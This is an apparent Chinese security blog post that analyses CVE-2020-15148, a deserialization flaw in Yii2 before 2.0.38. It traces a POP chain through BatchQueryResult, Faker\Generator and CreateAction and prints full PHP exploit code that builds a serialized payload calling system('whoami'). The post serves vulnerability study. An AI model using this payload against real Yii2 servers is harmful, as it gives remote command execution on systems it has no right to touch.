CVE-2020-15148 Yii2 反序列化分析及拓展


漏洞范围


  • Yii2 < 2.0.38

环境安装


这里直接选择去GitHub官方仓库拉取Yii2的源代码:

https://github.com/yiisoft/yii2/releases

26064-oz8m4x4gxk.png

下载到本地后解压到web目录,修改config/web.php文件里cookieValidationKey的值
93456-0d4h91s2bn8l.png

再在Controller添加一个反序列化的入口代码:

40112-zgibioam0x.png

MacOS下用MAMP搭建PHP调试环境,测试一下:

搭建教程:https://www.sqlsec.com/2020/07/macphp.html

漏洞分析


根据现有的资料,反序列化的起点是在yii\db\BatchQueryResult类中,文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php

19941-0z42mdlqv15.png

__destruct()函数调用了reset()方法,reset()方法中的_dataReader参数是可控的,并且调用了该参数的close()函数,那么此处就可以作为跳板,去执行其他类中的__call()函数,全局查找关键字function __call
12448-mwwnl56z5d.png

一共有找到16个__call()函数,那就一个一个的分析下来,其中Codeception组件中多数是直接抛出异常,没有可利用的地方,但是Faker\Generator类是可以成为POP链的。具体代码位于:/vendor/fzaninotto/faker/src/Faker/Generator.php

首先__call()函数中调用了format()方法:
14309-4j5f0qaeba6.png

接着跟下去format()方法,参数$method$attributes都是不可控的:
90855-irfzad6qmza.png

format()方法内部,使用回调函数call_user_func_array()调用了getFormatter()方法。在该方法中,我们只关心第一个if语句,

由于$this->formatter是我们可控的,所以这里就可以调用任意类中的任意方法了。但是上面提到过,此时$formatter='close'$arguments为空,也就是说call_user_func_array()这个函数的第一个参数可控,第二个参数为空。说的更透彻一点,要寻找的就是可以实现RCE的任意一个方法,并且参数是类的成员变量!

同样的,这里我们用call_user_func()去实现RCE,用正则表达式call_user_func(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\)去匹配参数的限制,全局搜索:

32701-9mp13pf3xfp.png

yii\rest\CreateAction::run()和yii\rest\IndexAction::run()都可以实现上述条件下的RCE:

49862-4kskyxyjlt2.png

那么整个POP链也就清楚了:

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

编写EXP

<?php
namespace yii\rest{
class CreateAction{
    public $id;
    public $checkAccess;

    public function __construct()
    {
        $this->id = 'whoami';
        $this->checkAccess = 'system';
    }
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
    protected $formatters;

    public function __construct()
    {
        $this->formatters['close'] = [new CreateAction(), 'run'];
    }
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
    private $_dataReader;

    public function __construct()
    {
        $this->_dataReader = new Generator();
    }
}
}

namespace {
use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

结果:

94205-7i2mldfswuy.png

继续挖掘
新版本的BatchQueryResult类已经无法反序列化了,那就全局搜索__destruct()函数,然后一个个的排查

后面的还没有研究明白

[图片上传中...(18806-ks6znwy3g2p)]

参考文章

https://mp.weixin.qq.com/s/Cv2Ax7U1sMtbXCq6YDgkTg

https://xz.aliyun.com/t/8307

https://www.anquanke.com/post/id/217930

最后修改:2020 年 11 月 04 日 03 : 31 PM
如果觉得我的文章对你有用,请随意赞赏